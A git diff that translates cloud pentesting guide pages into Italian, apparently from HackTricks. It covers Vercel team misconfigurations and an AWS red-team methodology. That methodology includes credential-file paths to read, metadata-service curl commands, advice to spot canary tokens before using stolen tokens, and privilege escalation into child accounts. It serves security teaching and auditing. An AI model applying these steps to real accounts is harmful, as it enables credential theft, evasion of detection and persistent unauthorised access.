- - **Risk**: Increate the exposure of the Vercel Team
+- **Aggiungi membri**
+- **Misconfigurazione:** Un attaccante potrebbe mantenere persistenza invitando un account che controlla
+- **Rischio:** Persistenza dell'attaccante
+- **Ruoli**
+- **Misconfigurazione:** Concedere troppi permessi a persone che non ne hanno bisogno aumenta il rischio della configurazione di Vercel. Controlla tutti i ruoli possibili in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
+- **Rischio**: Aumentare l'esposizione del Team Vercel
---
-### Access Groups
+### Gruppi di accesso
-An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
+Un **Gruppo di accesso** in Vercel è una raccolta di progetti e membri del team con assegnazioni di ruolo predefinite, che consente una gestione centralizzata e semplificata dell'accesso attraverso più progetti.
-**Potential Misconfigurations:**
+**Potenziali misconfigurazioni:**
-- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
-- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
-- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
-- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
-- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
+- **Over-Permissioning dei membri:** Assegnare ruoli con più permessi del necessario, portando a accesso o azioni non autorizzate.
+- **Assegnazioni di ruolo improprie:** Assegnare in modo errato ruoli che non si allineano con le responsabilità dei membri del team, causando escalation dei privilegi.
+- **Mancanza di segregazione dei progetti:** Mancata separazione dei progetti sensibili, consentendo un accesso più ampio del previsto.
+- **Gestione insufficiente dei gruppi:** Non rivedere o aggiornare regolarmente i Gruppi di accesso, risultando in permessi di accesso obsoleti o inappropriati.
+- **Definizioni di ruolo incoerenti:** Utilizzare definizioni di ruolo incoerenti o poco chiare tra diversi Gruppi di accesso, portando a confusione e lacune di sicurezza.
---
### Log Drains
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- **Log Drains to third parties:**
- - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
- - **Risk:** Partial persistence
+- **Log Drains a terzi:**
+- **Misconfigurazione:** Un attaccante potrebbe configurare un Log Drain per rubare i log
+- **Rischio:** Persistenza parziale
---
-### Security & Privacy
+### Sicurezza e privacy
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
- - **Misconfiguration:**
- - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
- - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
- - **Risks:**
- - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
- - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
-- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
- - **Misconfiguration:** Not adding critical Git scopes to the protected list.
-- **Risks:**
- - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
- - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
-- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
- - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
- - **Risks:**
- - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
- - **Data Breach:** Sensitive information like API keys and credentials could be leaked.
-- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
- - **Misconfiguration:**\
- Granting access to audit logs to unauthorized team members.
- - **Risks:**
- - **Privacy Violations:** Exposure of sensitive user activities and data.
- - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
-- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
- - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
- - **Risk:** Maintain persistence
-- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
- - **Misconfiguration:** Leaving IP address visibility enabled without necessity.
- - **Risks:**
- - **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
- - **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
-- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
- - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
- - **Risks:**
- - **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
- - **Operational Disruptions:** Loss of service availability for certain regions or clients.
+- **Dominio email del team:** Quando configurato, questa impostazione invita automaticamente gli account personali Vercel con indirizzi email che terminano nel dominio specificato (ad es., `mydomain.com`) a unirsi al tuo team al momento della registrazione e nel dashboard.
+- **Misconfigurazione:**
+- Specificare il dominio email errato o un dominio scritto male nell'impostazione del dominio email del team.
+- Utilizzare un dominio email comune (ad es., `gmail.com`, `hotmail.com`) invece di un dominio specifico dell'azienda.
+- **Rischi:**
+- **Accesso non autorizzato:** Gli utenti con indirizzi email di domini non previsti potrebbero ricevere inviti a unirsi al tuo team.
+- **Esposizione dei dati:** Potenziale esposizione di informazioni sensibili del progetto a individui non autorizzati.
+- **Ambiti Git protetti:** Ti consente di aggiungere fino a 5 ambiti Git al tuo team per impedire ad altri team Vercel di distribuire repository dall'ambito protetto. Più team possono specificare lo stesso ambito, consentendo l'accesso a entrambi i team.
+- **Misconfigurazione:** Non aggiungere ambiti Git critici all'elenco protetto.
+- **Rischi:**
+- **Distribuzioni non autorizzate:** Altri team potrebbero distribuire repository dagli ambiti Git della tua organizzazione senza autorizzazione.
+- **Esposizione della proprietà intellettuale:** Codice proprietario potrebbe essere distribuito e accessibile al di fuori del tuo team.
+- **Politiche delle variabili ambientali:** Impone politiche per la creazione e la modifica delle variabili ambientali del team. In particolare, puoi imporre che tutte le variabili ambientali siano create come **Variabili Ambientali Sensibili**, che possono essere decrittografate solo dal sistema di distribuzione di Vercel.
+- **Misconfigurazione:** Mantenere disabilitata l'applicazione delle variabili ambientali sensibili.
+- **Rischi:**
+- **Esposizione dei segreti:** Le variabili ambientali potrebbero essere visualizzate o modificate da membri del team non autorizzati.
+- **Violazione dei dati:** Informazioni sensibili come chiavi API e credenziali potrebbero essere trapelate.
+- **Audit Log:** Fornisce un'esportazione dell'attività del team per un massimo di 90 giorni. I log di audit aiutano a monitorare e tracciare le azioni eseguite dai membri del team.
+- **Misconfigurazione:**\
+Concedere accesso ai log di audit a membri del team non autorizzati.
+- **Rischi:**
+- **Violazioni della privacy:** Esposizione di attività e dati sensibili degli utenti.
+- **Manomissione dei log:** Attori malevoli potrebbero alterare o eliminare i log per coprire le proprie tracce.
+- **SAML Single Sign-On:** Consente la personalizzazione dell'autenticazione SAML e della sincronizzazione della directory per il tuo team, abilitando l'integrazione con un fornitore di identità (IdP) per l'autenticazione centralizzata e la gestione degli utenti.
+- **Misconfigurazione:** Un attaccante potrebbe inserire un backdoor nel Team impostando parametri SAML come Entity ID, SSO URL o impronte digitali del certificato.
+- **Rischio:** Mantenere persistenza
+- **Visibilità degli indirizzi IP:** Controlla se gli indirizzi IP, che potrebbero essere considerati informazioni personali ai sensi di alcune leggi sulla protezione dei dati, sono visualizzati nelle query di monitoraggio e nei Log Drains.
+- **Misconfigurazione:** Lasciare abilitata la visibilità degli indirizzi IP senza necessità.
+- **Rischi:**
+- **Violazioni della privacy:** Non conformità alle normative sulla protezione dei dati come il GDPR.
+- **Ripercussioni legali:** Potenziali multe e sanzioni per gestione impropria dei dati personali.
+- **Blocco IP:** Consente la configurazione di indirizzi IP e intervalli CIDR da cui Vercel dovrebbe bloccare le richieste. Le richieste bloccate non contribuiscono alla tua fatturazione.
+- **Misconfigurazione:** Potrebbe essere abusata da un attaccante per consentire traffico malevolo o bloccare traffico legittimo.
+- **Rischi:**
+- **Negazione del servizio agli utenti legittimi:** Blocco dell'accesso per utenti o partner validi.
+- **Interruzioni operative:** Perdita di disponibilità del servizio per determinate regioni o clienti.
---
-### Secure Compute
+### Computazione sicura
-**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
+**Vercel Secure Compute** consente connessioni sicure e private tra le funzioni Vercel e gli ambienti backend (ad es., database) stabilendo reti isolate con indirizzi IP dedicati. Questo elimina la necessità di esporre pubblicamente i servizi backend, migliorando la sicurezza, la conformità e la privacy.
-#### **Potential Misconfigurations and Risks**
+#### **Potenziali misconfigurazioni e rischi**
-1. **Incorrect AWS Region Selection**
- - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
- - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
-2. **Overlapping CIDR Blocks**
- - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
- - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
-3. **Improper VPC Peering Configuration**
- - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
- - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
-4. **Excessive Project Assignments**
- - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
- - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
-5. **Inadequate IP Address Management**
- - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
- - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
-6. **Including Build Containers Unnecessarily**
- - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
- - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
-7. **Failure to Securely Handle Bypass Secrets**
- - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
- - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
-8. **Ignoring Region Failover Configurations**
- - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
- - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
-9. **Exceeding VPC Peering Connection Limits**
- - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
- - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
-10. **Insecure Network Settings**
- - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
- - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
+1. **Selezione errata della regione AWS**
+- **Misconfigurazione:** Scegliere una regione AWS per la rete Secure Compute che non corrisponde alla regione dei servizi backend.
+- **Rischio:** Maggiore latenza, potenziali problemi di conformità alla residenza dei dati e prestazioni degradate.
+2. **Blocchi CIDR sovrapposti**
+- **Misconfigurazione:** Selezionare blocchi CIDR che si sovrappongono a VPC esistenti o altre reti.
+- **Rischio:** Conflitti di rete che portano a connessioni non riuscite, accesso non autorizzato o perdita di dati tra le reti.
+3. **Configurazione errata del peering VPC**
+- **Misconfigurazione:** Configurazione errata del peering VPC (ad es., ID VPC errati, aggiornamenti incompleti della tabella di routing).
+- **Rischio:** Accesso non autorizzato all'infrastruttura backend, connessioni sicure non riuscite e potenziali violazioni dei dati.
+4. **Assegnazioni eccessive di progetti**
+- **Misconfigurazione:** Assegnare più progetti a una singola rete Secure Compute senza adeguata isolamento.
+- **Rischio:** L'esposizione IP condivisa aumenta la superficie di attacco, potenzialmente consentendo a progetti compromessi di influenzare altri.
+5. **Gestione inadeguata degli indirizzi IP**
+- **Misconfigurazione:** Mancata gestione o rotazione appropriata degli indirizzi IP dedicati.
+- **Rischio:** Spoofing IP, vulnerabilità di tracciamento e potenziale blacklist se gli IP sono associati ad attività malevole.
+6. **Inclusione non necessaria di contenitori di build**
+- **Misconfigurazione:** Aggiungere contenitori di build alla rete Secure Compute quando l'accesso backend non è richiesto durante le build.
+- **Rischio:** Superficie di attacco espansa, ritardi di provisioning aumentati e consumo non necessario delle risorse di rete.
+7. **Mancata gestione sicura dei segreti di bypass**
+- **Misconfigurazione:** Esporre o gestire in modo errato i segreti utilizzati per bypassare le protezioni di distribuzione.
+- **Rischio:** Accesso non autorizzato a distribuzioni protette, consentendo agli attaccanti di manipolare o distribuire codice malevolo.
+8. **Ignorare le configurazioni di failover della regione**
+- **Misconfigurazione:** Non impostare regioni di failover passive o configurazioni di failover errate.
+- **Rischio:** Interruzione del servizio durante le interruzioni della regione primaria, portando a disponibilità ridotta e potenziale incoerenza dei dati.
+9. **Superamento dei limiti di connessione del peering VPC**
+- **Misconfigurazione:** Tentare di stabilire più connessioni di peering VPC del limite consentito (ad es., superando 50 connessioni).
+- **Rischio:** Impossibilità di connettere in modo sicuro i servizi backend necessari, causando fallimenti nelle distribuzioni e interruzioni operative.
+10. **Impostazioni di rete insicure**
+- **Misconfigurazione:** Regole del firewall deboli, mancanza di crittografia o segmentazione di rete impropria all'interno della rete Secure Compute.
+- **Rischio:** Intercettazione dei dati, accesso non autorizzato ai servizi backend e vulnerabilità aumentata agli attacchi.
---
-### Environment Variables
+### Variabili ambientali
-**Purpose:** Manage environment-specific variables and secrets used by all the projects.
+**Scopo:** Gestire variabili e segreti specifici dell'ambiente utilizzati da tutti i progetti.
-#### Security Configurations:
+#### Configurazioni di sicurezza:
-- **Exposing Sensitive Variables**
- - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
-- **Sensitive disabled**
- - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
+- **Esposizione di variabili sensibili**
+- **Misconfigurazione:** Prefissare variabili sensibili con `NEXT_PUBLIC_`, rendendole accessibili dal lato client.
+- **Rischio:** Esposizione di chiavi API, credenziali di database o altri dati sensibili al pubblico, portando a violazioni dei dati.
+- **Sensibile disabilitato**
+- **Misconfigurazione:** Se disabilitato (predefinito) è possibile leggere i valori dei segreti generati.
+- **Rischio:** Maggiore probabilità di esposizione accidentale o accesso non autorizzato a informazioni sensibili.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index ad71de826..42dd5c66c 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -2,17 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Informazioni di base
-**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
+**Prima di iniziare il pentesting** di un **ambiente AWS**, ci sono alcune **cose di base che devi sapere** su come funziona AWS per aiutarti a capire cosa devi fare, come trovare misconfigurazioni e come sfruttarle.
-Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
+Concetti come gerarchia organizzativa, IAM e altri concetti di base sono spiegati in:
{{#ref}}
aws-basic-information/
{{#endref}}
-## Labs to learn
+## Laboratori per imparare
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
@@ -22,49 +22,49 @@ aws-basic-information/
- [http://flaws.cloud/](http://flaws.cloud/)
- [http://flaws2.cloud/](http://flaws2.cloud/)
-Tools to simulate attacks:
+Strumenti per simulare attacchi:
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
-## AWS Pentester/Red Team Methodology
+## Metodologia AWS Pentester/Red Team
-In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
+Per auditare un ambiente AWS è molto importante sapere: quali **servizi vengono utilizzati**, cosa è **esposto**, chi ha **accesso** a cosa e come sono connessi i servizi AWS interni e i **servizi esterni**.
-From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
+Dal punto di vista di un Red Team, il **primo passo per compromettere un ambiente AWS** è riuscire a ottenere alcune **credenziali**. Ecco alcune idee su come farlo:
-- **Leaks** in github (or similar) - OSINT
-- **Social** Engineering
-- **Password** reuse (password leaks)
-- Vulnerabilities in AWS-Hosted Applications
- - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
- - **Local File Read**
- - `/home/USERNAME/.aws/credentials`
- - `C:\Users\USERNAME\.aws\credentials`
-- 3rd parties **breached**
-- **Internal** Employee
-- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials
+- **Leak** su github (o simili) - OSINT
+- **Ingegneria** Sociale
+- Riutilizzo della **Password** (leak di password)
+- Vulnerabilità nelle Applicazioni Ospitate su AWS
+- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) con accesso all'endpoint dei metadati
+- **Lettura di File Locali**
+- `/home/USERNAME/.aws/credentials`
+- `C:\Users\USERNAME\.aws\credentials`
+- **breach** di terze parti
+- **Dipendente** Interno
+- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credenziali
-Or by **compromising an unauthenticated service** exposed:
+Oppure **compromettendo un servizio non autenticato** esposto:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
-Or if you are doing a **review** you could just **ask for credentials** with these roles:
+O se stai facendo una **revisione** potresti semplicemente **chiedere le credenziali** con questi ruoli:
{{#ref}}
aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
-> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
+> Dopo aver ottenuto le credenziali, devi sapere **a chi appartengono quelle credenziali**, e **a cosa hanno accesso**, quindi devi eseguire alcune enumerazioni di base:
-## Basic Enumeration
+## Enumerazione di base
### SSRF
-If you found a SSRF in a machine inside AWS check this page for tricks:
+Se hai trovato un SSRF in una macchina all'interno di AWS controlla questa pagina per trucchi:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
### Whoami
-One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
-
+Una delle prime cose che devi sapere è chi sei (in quale account ti trovi e altre informazioni sull'ambiente AWS):
```bash
# Easiest way, but might be monitored?
aws sts get-caller-identity
@@ -89,10 +88,9 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
-
> [!CAUTION]
-> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
-> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
+> Nota che le aziende potrebbero utilizzare **canary tokens** per identificare quando **i token vengono rubati e utilizzati**. È consigliato controllare se un token è un canary token o meno prima di utilizzarlo.\
+> Per ulteriori informazioni [**controlla questa pagina**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
@@ -102,30 +100,30 @@ aws-services/aws-organizations-enum.md
### IAM Enumeration
-If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
+Se hai abbastanza permessi, **controllare i privilegi di ciascuna entità all'interno dell'account AWS** ti aiuterà a capire cosa puoi fare tu e altre identità e come **escalare i privilegi**.
-If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
-Check **how to do the numeration and brute-forcing** in:
+Se non hai abbastanza permessi per enumerare IAM, puoi **rubare e forzare** per scoprirli.\
+Controlla **come fare l'enumerazione e il brute-forcing** in:
{{#ref}}
aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
-> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
-> In the following section you can check some ways to **enumerate some common services.**
+> Ora che **hai alcune informazioni sulle tue credenziali** (e se sei un red team, speriamo che tu **non sia stato rilevato**). È tempo di scoprire quali servizi vengono utilizzati nell'ambiente.\
+> Nella sezione seguente puoi controllare alcuni modi per **enumerare alcuni servizi comuni.**
## Services Enumeration, Post-Exploitation & Persistence
-AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
+AWS ha un numero sorprendente di servizi, nella pagina seguente troverai **informazioni di base, enumerazione** cheatsheets\*\*,\*\* come **evitare il rilevamento**, ottenere **persistenza** e altri **trucchi post-exploitation** su alcuni di essi:
{{#ref}}
aws-services/
{{#endref}}
-Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools).
+Nota che **non** è necessario eseguire tutto il lavoro **manualmente**, qui sotto in questo post puoi trovare una **sezione su** [**strumenti automatici**](./#automated-tools).
-Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
+Inoltre, in questa fase potresti aver scoperto **più servizi esposti a utenti non autenticati**, potresti essere in grado di sfruttarli:
{{#ref}}
aws-unauthenticated-enum-access/
@@ -133,7 +131,7 @@ aws-unauthenticated-enum-access/
## Privilege Escalation
-If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
+Se puoi **controllare almeno i tuoi permessi** su diverse risorse, potresti **controllare se sei in grado di ottenere ulteriori permessi**. Dovresti concentrarti almeno sui permessi indicati in:
{{#ref}}
aws-privilege-escalation/
@@ -141,10 +139,10 @@ aws-privilege-escalation/
## Publicly Exposed Services
-While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
-As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
+Durante l'enumerazione dei servizi AWS potresti aver trovato alcuni di essi **che espongono elementi a Internet** (porte VM/Container, database o servizi di coda, snapshot o bucket...).\
+Come pentester/red teamer dovresti sempre controllare se riesci a trovare **informazioni sensibili / vulnerabilità** su di essi poiché potrebbero fornirti **ulteriore accesso all'account AWS**.
-In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
+In questo libro dovresti trovare **informazioni** su come trovare **servizi AWS esposti e come controllarli**. Per quanto riguarda come trovare **vulnerabilità nei servizi di rete esposti**, ti consiglio di **cercare** il **servizio** specifico in:
{{#ref}}
https://book.hacktricks.xyz/
@@ -154,52 +152,49 @@ https://book.hacktricks.xyz/
### From the root/management account
-When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
+Quando l'account di gestione crea nuovi account nell'organizzazione, viene creata una **nuova funzione** nel nuovo account, chiamata per impostazione predefinita **`OrganizationAccountAccessRole`** e viene concessa la policy **AdministratorAccess** all'**account di gestione** per accedere al nuovo account.
-So, in order to access as administrator a child account you need:
+Quindi, per accedere come amministratore a un account secondario, hai bisogno di:
-- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
- - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
- - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
-- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
+- **Compromettere** l'**account di gestione** e trovare l'**ID** degli **account secondari** e i **nomi** della **funzione** (OrganizationAccountAccessRole per impostazione predefinita) che consente all'account di gestione di accedere come admin.
+- Per trovare gli account secondari, vai alla sezione organizzazioni nella console aws o esegui `aws organizations list-accounts`
+- Non puoi trovare il nome delle funzioni direttamente, quindi controlla tutte le policy IAM personalizzate e cerca qualsiasi cosa che consenta **`sts:AssumeRole` sugli account secondari precedentemente scoperti**.
+- **Compromettere** un **principale** nell'account di gestione con **`sts:AssumeRole` permesso sulla funzione negli account secondari** (anche se l'account consente a chiunque dell'account di gestione di impersonare, poiché è un account esterno, sono necessari permessi specifici `sts:AssumeRole`).
## Automated Tools
### Recon
-- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
-
+- [**aws-recon**](https://github.com/darkbitio/aws-recon): Uno strumento di **raccolta inventario** focalizzato sulla sicurezza AWS multi-threaded scritto in Ruby.
```bash
# Install
gem install aws_recon
# Recon and get json
AWS_PROFILE= aws_recon \
- --services S3,EC2 \
- --regions global,us-east-1,us-east-2 \
- --verbose
+--services S3,EC2 \
+--regions global,us-east-1,us-east-2 \
+--verbose
```
-
-- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
-- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
-
+- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist è uno **strumento multi-cloud per ottenere Asset** (Nomi host, Indirizzi IP) dai fornitori di cloud.
+- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper ti aiuta ad analizzare i tuoi ambienti Amazon Web Services (AWS). Ora contiene molte più funzionalità, inclusa l'audit per problemi di sicurezza.
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
{
- "accounts": [
- {
- "default": true,
- "id": "",
- "name": "dev"
- }
- ],
- "cidrs":
- {
- "2.2.2.2/28": {"name": "NY Office"}
- }
+"accounts": [
+{
+"default": true,
+"id": "",
+"name": "dev"
+}
+],
+"cidrs":
+{
+"2.2.2.2/28": {"name": "NY Office"}
+}
}
# Enumerate
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
-
-- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
-
+- [**cartography**](https://github.com/lyft/cartography): Cartography è uno strumento Python che consolida le risorse infrastrutturali e le relazioni tra di esse in una vista grafica intuitiva alimentata da un database Neo4j.
```bash
# Install
pip install cartography
@@ -240,17 +233,15 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
-
-- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
-- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
-- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
+- [**starbase**](https://github.com/JupiterOne/starbase): Starbase raccoglie asset e relazioni da servizi e sistemi, inclusa l'infrastruttura cloud, applicazioni SaaS, controlli di sicurezza e altro, in una vista grafica intuitiva supportata dal database Neo4j.
+- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Usa python2) Questo è uno strumento che cerca di **scoprire tutte** le [**risorse AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) create in un account.
+- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): È uno strumento per **recuperare tutti gli indirizzi IP pubblici** (sia IPv4 che IPv6) associati a un account AWS.
### Privesc & Exploiting
-- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
